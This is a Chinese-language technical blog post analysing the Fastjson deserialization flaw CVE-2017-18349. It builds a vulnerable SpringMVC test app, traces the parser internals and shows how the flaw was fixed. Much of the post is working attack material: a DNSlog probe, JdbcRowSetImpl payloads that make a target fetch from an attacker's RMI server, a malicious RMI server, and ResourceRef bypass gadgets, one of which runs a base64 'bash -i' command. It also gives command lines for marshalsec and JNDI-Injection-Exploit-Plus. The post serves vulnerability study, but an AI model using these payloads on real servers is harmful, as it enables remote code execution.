Fastjson漏洞之CVE-2017-18349

前言:

        要想理解漏洞原理,首先看看Fastjson是什么,具体用来做什么才能更好的找到可以利用的场景:

Fastjson 是一个由阿里巴巴开发的 Java 语言实现的高性能 JSON 解析器和生成器。它具有以下特点:

  1. 快速:Fastjson 在序列化和反序列化 JSON 数据方面表现出色,在性能方面优于其他主流 JSON 处理库。

  2. 灵活:Fastjson 支持将 Java Bean 直接转换为 JSON 字符串,也支持将 JSON 字符串直接转换为 Java Bean。它还支持自定义序列化和反序列化规则。

  3. 功能强大:Fastjson 提供了丰富的 API,支持复杂的 JSON 操作,如查询、修改、删除等。

  4. 广泛应用:Fastjson 被广泛应用于阿里巴巴集团内部的众多项目中,并得到了良好的评价。

使用 Fastjson 的基本步骤如下:

        添加 Fastjson 依赖到项目中::

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.78</version>
</dependency>

序列化Java对象为JSON字符串:

User user = new User("John", 30);
String json = JSON.toJSONString(user);

反序列化JSON字符串为Java对象:

String jsonStr = "{\"name\":\"John\",\"age\":30}";
User user = JSON.parseObject(jsonStr, User.class);

使用 Fastjson 提供的丰富 API 进行复杂的 JSON 操作:

JSONObject jsonObject = JSON.parseObject(jsonStr);
String name = jsonObject.getString("name");
int age = jsonObject.getInteger("age");

一般在处理前端数据的时候会用到fastjson,比如用户上传的表单等,后台处理的时候可以使用fastjson进行处理,非常的方便快捷

搭建漏洞环境

下面我们自己搭建一个测试环境,我使用的是springMVC搭建,具体的spring创建过程可以自己查找,这里就不多做介绍,下面介绍下测试代码:

首先是处理前端请求的主函数:

    //设置请求路的径  规定请求的方式是post
    @RequestMapping(value = "/show.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式
    public ModelAndView show(){

        ModelAndView mv = new ModelAndView();
        //经过InternalResourceViewResolver对象处理后前缀加上后缀就变为了:    /jsp/team/update.jsp
        mv.setViewName("/index");//要经过Springmvc的视图解析器处理,转换成物理资源路径。
        return mv;
    }


    @RequestMapping("/test.do")
    public ModelAndView testFastJSON(@RequestBody String jsonStr) {
        ModelAndView mv = new ModelAndView();
        //java.lang.Runtime
        // 使用FastJSON解析请求中的JSON数据
        JSONObject jsonObject = JSON.parseObject(jsonStr);
        String name = jsonObject.getString("name");
        int age = jsonObject.getInteger("age");

        // 创建响应对象
        Map<String, Object> response = new HashMap<>();
        response.put("message", "Hello, " + name + "! You are " + age + " years old.");
        System.out.printf(JSON.toJSONString(response));

        mv.addObject("backinfor", JSON.toJSONString(response));
        mv.setViewName("/jsp/show");
        // 使用FastJSON将响应对象序列化为JSON字符串
        return mv;
    }

前端代码index.jsp:

<!DOCTYPE html>
<html>
<head>
    <title>FastJSON Test</title>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
    <h1>FastJSON Test</h1>
    <button id="testButton">Click me</button>

    <div id="result"></div>

    <script>
        $(document).ready(function() {
            $('#testButton').click(function() {
                $.ajax({
                    type: "POST",
                    url: "/test.do",
                    data: JSON.stringify({name: "John", age: 30}),
                    contentType: "application/json; charset=utf-8",
                    dataType: "json",
                    success: function(data) {
                        $('#result').text(data.message);

                    },
                    error: function(xhr, status, error) {
                        console.error(error);
                    }
                });
            });
        });
    </script>
</body>
</html>

前端代码show.jsp

${backinfor}

pom.xml添加fastjson包,这里使用1.2.24版本:

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

运行下看下效果:

看下数据包:

漏洞复现: 

下面先针对漏洞进行复现,使用poc如下:

{"name":{
   "@type":"java.net.Inet4Address",
    "val":"g17myc.dnslog.cn"
 },
 "age":30
}

发送成功:

可以看到DNSLOG平台获取到了对应的访问信息,证明确实存在漏洞,至于为什么是访问了两次,后面再解释:

漏洞分析:

网上很多教程只将利用,从来不关心漏洞的原理,用一下能成功就行了,那也太没意思了,这里顺带分析下对应的漏洞原理,这里我们要再项目里添加一个新的java文件,来方便理解:

package org.example.controller;

import java.io.IOException;
import java.sql.SQLException;

public class mytest {
    public void noSet(String dsName){
        System.out.printf(dsName);
    }
    public void setExecmy(String dsName){
        System.out.printf(dsName);
    }

    public void setType(String type){
        System.out.printf(type);
    }
    public void setDataSourceName(String dsName) throws SQLException {
        System.out.printf(dsName);
    }
    public mytest(){
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

 发送如下数据包:

{
   "name":{
       "@type":"org.example.controller.mytest",
       "noSet":"noSet",
       "execmy":"execmy",
       "Type":"Type",
       "dataSourceName":"dataSourceName"
    },
    "age":30
}

很简单就是测试如何调用到我们自己编写的代码中去,下面就列举一些比较重要的点,其他地方可以自行调试:

首先我们会进入主函数:

com.alibaba.fastjson.parser.DefaultJSONParser的parseObject

再scanSymbol处获取对应的json属性值:

进入com.alibaba.fastjson.parser.JSONLexerBase的scanSymbol方法:

循环获取我们要处理的json的属性值:

然后回到parseObject主函数,这里会判断我们的属性值是否等于@type,如果等于则进入循环:

并且通过如下语句获取到我们type中设置的类方法:

Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

由于我们上一步获取到了对应的clazz,下面我们要对具体的class进行处理,进入到如下方法:

下面要进入一个很有意思的地方,针对反射的处理:

com.alibaba.fastjson.parser.createJavaBeanDeserializer方法生成javaBean

这里我们会根据我们添加的类生成一个反射表来进行后面的调用,具体的生成方法再build中,这里使用asmEnable进行判断,如果是相同的类则不进入,仅对第一次进入的类进行生成:

下面进入到具体的生成方法:

com.alibaba.fastjson.util.build方法

首先会获取指定类中的所有方法,这里可看到其中包含我们刚才添加类中的四个方法另外还有一些基础方法

然后获取到对应的方法名后会判断是否存在set,如果存在则提取出除了set以外的字符:

最后执行如下代码将匹配到的方法添加到接口列表中

return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);

执行完成后查看任意反射列表,可以看到我们设置的方法,为后续反射提供了条件:

然后回到主函数后执行,实例化我们的类:

thisObj = deserializer.deserialze(this, clazz, fieldName);

示例化完成后会处理其他参数,会进入到smartMatch方法中:

com.alibaba.fastjson.parser.deserializer.smartMatch

如果在第一步匹配的fieldDeserializer为空,则会进行多轮匹配,具体的匹配规则后续进行研究,感觉可以用来作为绕过的方案:

 其中主要通过this.getFieldDeserializer(key);来进行反射匹配,当我们参数中存在execmy,会对应匹配到setExecmy方法:

 然后就要根据fieldDeserializer进入指定的流程,如果fieldDeserializer不为空,则会反射到对应的方法中

com.alibaba.fastjson.parser.deserializer.parseField方法

具体的反射过程如下:

最后进入setValue方法中反射调用指定方法:

com.alibaba.fastjson.parser.deserializer的setValue方法

对应的参数值:

然后就进入了我们自己编写的代码中执行。

上述大概的流程我们已经走完了,漏洞也很明显了就是没有对@type内容进行校验,进而导致的问题,下面我们针对能触发dnslog的 java.net.Inet4Address进行简单分析,看看是如何触发:

这里需要注意,fastjson中会针对部分类进行特殊处理,当我们使用java.net.Inet4Address的时候会触发:

com.alibaba.fastjson.util的get方法

可以看到对应的value是MiscCodec,即:

com.alibaba.fastjson.serializer.MiscCodec的deserialze

对应的this.buckets列表中可以看到内置的反射方法:

 然后执行thisObj = deserializer.deserialze(this, clazz, fieldName);进入MiscCodec的deserialze方法中,然后执行InetAddress.getByName(strVal),我们的dnslog平台就收到了第一个请求

然后进入代码String name = jsonObject.getString("name");调用的toString是java.net.Inet4Address的toString方法:

然后这里又触发了第二次DNSLOG平台的访问 

 由此我们就完整的分析了漏洞的成因和为何触发了对DNSlog平台的访问

漏洞利用:

利用方法为可以加载任意的类,如果其中带有set方法名的,只要参数中带有对应相同的方法名就会调用到对应的set方法,基于这个目前比较常见的就是使用RMI或者ldap注入

poc如下:

{
    "name":
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.99:9999/mytest",
        "autoCommit":true
    },
    "age":30
}

先看下是如何触发的,首先我们使用@type使反射调用com.sun.rowset.JdbcRowSetImpl方法,然后会调用setDataSourceName方法和setAutoCommit方法,看下对应的方法

 可以看到调用了conn = connect();,查看其内部方法,可以看到其调用了lookup方法触发了rmi漏洞:

下面我们尝试执行我们自己编写的恶意代码,代码如下:

public class mytest {
    public mytest() throws Exception{
        try {
            String var0 = "calc";
            Runtime.getRuntime().exec(var0);
        } catch (Exception var1) {
            var1.printStackTrace();
        }
        System.out.println();
    }
    static {
        System.out.println("run calc");
    }
}

然后使用命令javac mytest.java编译为class文件,使用marshalsec搭建RMI服务器:

https://github.com/mbechler/marshalsec
mvn clean package -DskipTests

然后使用如下命令启动RMI服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.99:1234/#mytest" 9999

然后使用如下poc:

{
    "name":
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.99:9999/mytest",
        "autoCommit":true
    },
    "age":30
}

这里需要注意高版本的jdk环境会禁止加载远程class

com.sun.naming.internal.VersionHelper12

默认为flase,无法加载远程class文件,但是如果是低版本的java环境可以直接执行:

高版本的可以进行绕过,但是对环境要求较高,需要环境中有对应的jar包,下面我们自己搭建一个rmi的服务器,来进行演示:

服务器代码如下:

package org.example;


import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {

    public static void main(String[] args) throws Exception {
        try{
            Registry registry = LocateRegistry.createRegistry(1088);

            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

//            ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//            ref.add(new StringRefAddr("forceString", "x=parseClass"));
//            ref.add(new StringRefAddr("x", "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(clac)\n})\ndef x\n"));

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("calcaa", referenceWrapper);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

 服务器监听1088端口,设置poc如下:

{
    "name":
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.99:1088/calcaa",
        "autoCommit":true
    },
    "age":30
}

发送数据包后触发fastjson漏洞远程访问我们1088的远程rmi服务器,进而触发漏洞执行命令弹出计算器,另外网上还有四种绕过代码如下:

    /*
     * Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because of javax.el.ELProcessor.
     */
    public ResourceRef execByEL() {
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", String.format(
                "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
                        "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
                        ")",
                this.command
        )));

        return ref;
    }

    /*
     * (GroovyClassLoader) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.
     */
    public ResourceRef execByGroovy1() {
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=parseClass"));
        ref.add(new StringRefAddr("x", String.format(
                "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n",
                this.command
        )));

        return ref;
    }

    /*
     * (GroovyShell) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.
     */
    public ResourceRef execByGroovy2() {
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=evaluate"));
        ref.add(new StringRefAddr("x", "'bash -c {echo," +
                Base64.getEncoder().encodeToString(this.command.getBytes()) +
                "}|{base64,-d}|{bash,-i}'.execute()"
        ));

        return ref;
    }

    /*
     * Need : WebSphere v6-v9, file content will stop util '#' or '?' or EOF.
     */
    public javax.naming.Reference readfileByWebsphere() {
        javax.naming.Reference ref = new Reference("ExploitObject",
                "com.ibm.ws.webservices.engine.client.ServiceFactory", null);
        ref.add(new StringRefAddr("WSDL location", this.codebase+"wsdl/list.wsdl"));
        ref.add(new StringRefAddr("service namespace","xxx"));
        ref.add(new StringRefAddr("service local part","yyy"));

        return ref;
    }

 读者可以自己搭建服务器进行测试,另外可以使用JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

 执行命令如下:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar  -C "calc" -A "127.0.0.1"

 执行后可以看到可以选用的攻击载荷和对应的地址:

使用的时候只需要选择使用的负载就行,如使用rmi的加载本地文件执行命令的可以使用如下poc:

{
    "name":
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/localExploitel",
        "autoCommit":true
    },
    "age":30
}

 漏洞修复:

>=1.2.25后进行了修复,主要进行两处校验,校验函数为

com.alibaba.fastjson.parser.checkAutoType

引入了autoTypeSupport,如果设置允许则会跳过第二步校验,返回类进行反射,

默认为false,这个时候会进入第二步过滤,如果包含以下22个任一类就会触发异常:

但是java.net.Inet4Address并不在其中,就是说我们还是可以使用dnslog确定网站是否使用fastjson模块,至于如何利用,修复是使用了黑名单的方式进行防御,那么就一定有绕过的方法,具体如何绕过,那就看所处环境里有没有可以利用的代码了 。

漏洞的原理还是较为简单,但是个人感觉其防御采用黑名单的方式还是存在隐患,如果拿到对应服务器的源代码,对源代码审计找到可以利用的函数,即可通过fastjson的rmi或ldap进行利用,并且测试中还是可以利用java.net.Inet4Address来判断服务器是否使用了fastjson来处理json数据,存在隐患。

CVE-2022-25845就是针对CVE-2017-18349的升级版,可以绕过checkAutoType校验,将autoTypeSupport设置为true,具体的后续会进行讲解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/636737.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【区块链】caliper压力测试

本文上接postman接口测试 参照工程项目使用Caliper测试工具对食品安全溯源系统智能合约生成新食品(newFood)功能进行压力测试 首先启动webase python3 deploy.py startAll vim /opt/bencahmark/caliper-benchmark/networks/fisco-bcos/test-nw/fisco-bcos.json 命令便捷查…

LLama3 | 一. 本地 Web Demo 部署

前置工作 课程文档&#xff1a;Llama3-Tutorial/docs/hello_world.md at main SmartFlowAI/Llama3-Tutorial GitHub 1.安装vscode 2.安装vscode插件 Remote SSH 3.配置 VSCode 远程连接开发机 ssh连接开发机 进行端口映射 在开发机控制台中点击自定义服务&#xff0c;复…

Python编程之旅:从错误到精通的奇妙探险

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、初识Python编程的陷阱与解决方案 1. 语法错误&#xff1a;防范于未然 2. 逻辑错误&…

java+Angular+Nginx+原生HTML+JS+CSS+Jquery融合B/S版电子病历系统云HIS系统源码

javaAngularNginx原生HTMLJSCSSJquery融合B/S版电子病历系统云HIS系统源码 Java版云HIS系统融合电子病历系统&#xff0c;是医学专用软件。医院通过电子病历以电子化方式记录患者就诊的信息&#xff0c;包括&#xff1a;首页、病程记录、检查检验结果、医嘱、手术记录、护理记录…

Day24:Leetcode:235. 二叉搜索树的最近公共祖先 + 701.二叉搜索树中的插入操作 + 450.删除二叉搜索树中的节点

LeetCode&#xff1a;235. 二叉搜索树的最近公共祖先 解决方案&#xff1a; 1.思路 对于当前节点x&#xff0c;如果x比p和q的值都大&#xff0c;说明&#xff0c;p和q在x的右子树里面&#xff0c;那么去x的右子树里面去寻找&#xff1b;对于当前节点x&#xff0c;如果x比p和…

VMware Ubuntu虚拟机开机黑屏的解决方法

由于不知名原因&#xff0c;我的VMware虚拟机隔三差五会出现开机即黑屏的现象。经过查阅资料和摸索&#xff0c;发现其中一种方法可以很好地解决我虚拟机的问题。 &#xff08;1&#xff09;打开虚拟机 &#xff08;2&#xff09;在虚拟机还在读条状态时&#xff0c;鼠标左键进…

数字营销:以大数据作引擎,推动企业全面数字化升级

数字营销本质乃是以大数据为核之心&#xff0c;促使营销活动高效运作&#xff0c;消费者线上线下数据的无缝衔接、企业内外部数据的贯通、公域引流私域运营等&#xff0c;皆已成为企业运营的标准配置。 数据即等同于市场&#xff0c;市场即等同于用户&#xff0c;用户乃是企…

【hive和spark】hive on spark和spark读取hive metastore配置

HIVE ON SPARK 和 SPARK READ HIVE METASTORE 具体hadoop 和 hive单机版本安装请参考单节点搭建hadoop和hive 此文是基与这篇基础上升级而来。 零、版本说明&#xff1a; 本例使用的版本&#xff0c;hive和spark版本对标Cloudera 公司的 cdh6.2.0 版本&#xff0c;hdfs图省事…

Android应用URI调起百度地图、高德地图 和 腾讯地图

1、百度地图 地图调起API | 百度地图API SDKhttps://lbs.baidu.com/faq/api?titlewebapi/uri/andriod例&#xff1a;反向地址解析 //反向地址解析URI private final String BAIDU_MAP_NAVI_URI "baidumap://map/geocoder?location";/*** 跳转百度地图*/ private…

消息号 KI261 成本中心 XXXX/123123 冻结而不能直接对 2020.10.08 收入记帐

做AR凭证遇到如上图所示的报错&#xff0c;检查之后发现是科目的成本要素类别与成本中心的控制面板-锁定中的类型不匹配&#xff0c;现在科目的成本要素类别是11&#xff0c;控制面板中锁定了“实际销售收入”与“计划收入”。 成本要素类别“11”代表主营收入或者库存收入&…

新手第一次做抖店,应该注意什么?知道这些技巧让你更快拿到结果

大家好&#xff0c;我是电商花花。 新手第一次刚开始接触抖音小店&#xff0c;都会担心自己做不好&#xff0c;操作不到位的想法&#xff0c;怕自己做店长时间不出单。 其实做店担心不出单是很正常的&#xff0c;但是只要我们掌握正确的做店方法和技巧也能很快就做好抖音小店…

大语言模型下的JSON数据格式交互

插&#xff1a; AI时代&#xff0c;程序员或多或少要了解些人工智能&#xff0c;前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家(前言 – 人工智能教程 ) 坚持不懈&#xff0c;越努力越幸运&#xff0c;大家…

【动态规划七】背包问题

目录 0/1背包问题 一、【模板】01背包 二、分割等和子集 三、目标和 四、最后一块石头的重量 II 完全背包问题 一、【模板】完全背包 二、零钱兑换 三、零钱兑换 II 四、完全平方数 二维费用的背包问题 一、一和零 二、盈利计划 似包非包 组合总和 卡特兰数 不…

“Excel+中文编程”衍生新型软件,WPS用户:自家孩子

你知道吗&#xff0c;我们中国人有时候真的挺有创新精神的。 你可能熟悉Excel表格&#xff0c;也可能听说过中文编程&#xff0c;但你有没有脑洞大开&#xff0c;想过如果把这两者结合起来&#xff0c;会碰撞出什么样的火花呢&#xff1f; 别不信&#xff0c;跟着我来看看吧&a…

惠普电脑怎么进入bios?图文教程助你轻松上手!

进入BIOS&#xff08;基本输入/输出系统&#xff09;是在电脑启动时进行硬件初始化和设置的重要步骤之一。对于惠普&#xff08;HP&#xff09;电脑用户来说&#xff0c;了解如何进入BIOS是解决一些硬件和系统问题的关键。本文将介绍惠普电脑怎么进入bios的三种方法&#xff0c…

Wireshark抓取PROFINET包问题总结

1.如何导入GSD文件 ? 打开Wireshark在【编辑】->【首选项】->【Protocols】->【PNIO】&#xff0c;设置GSD文件的路径。 添加完成后&#xff0c;就可以解析报文了 2.Frame check sequence和FCS Status显示 unverified ? 【编辑】->【首选项】->【Protocols】…

Kafka-集群管理者(Controller)选举机制、任期(epoch)机制

Kafka概述 Kafka-集群管理者&#xff08;Controller&#xff09;选举机制 Kafka中的Controller是Kafka集群中的一个特殊角色&#xff0c;负责对整个集群进行管理和协调。Controller的主要职责包括分区分配、副本管理、Leader选举等。当当前的Controller节点失效或需要进行重新…

Redis常见数据类型(3)-String, Hash

目录 String 命令小结 内部编码 典型的使用场景 缓存功能 计数功能 共享会话 手机验证码 Hash 哈希 命令 hset hget hexists hdel hkeys hvals hgetall hmget hlen hsetnx hincrby hincrbyfloat String 上一篇中介绍了了String里的基本命令, 接下来总结一…

什么是谷歌留痕?

其实它就是指你的网站在谷歌中留下的种种痕迹&#xff0c;无论你是在做外链&#xff0c;还是优化网站内容&#xff0c;或是改善用户体验&#xff0c;所有这些都会在谷歌的搜索引擎里留下一些“脚印”&#xff0c;用比较seo一点的说法&#xff0c;指的是网站在其构建和优化过程中…

5.22 R语言-正态性检验

正态性检验 正态性检验的目的是确定一组数据是否符合正态分布&#xff08;也称高斯分布&#xff09;。在统计分析和数据建模中&#xff0c;正态性假设是许多统计方法和模型的基础。了解数据是否符合正态分布有助于选择适当的统计方法和确保分析结果的有效性。 本文主要从概率…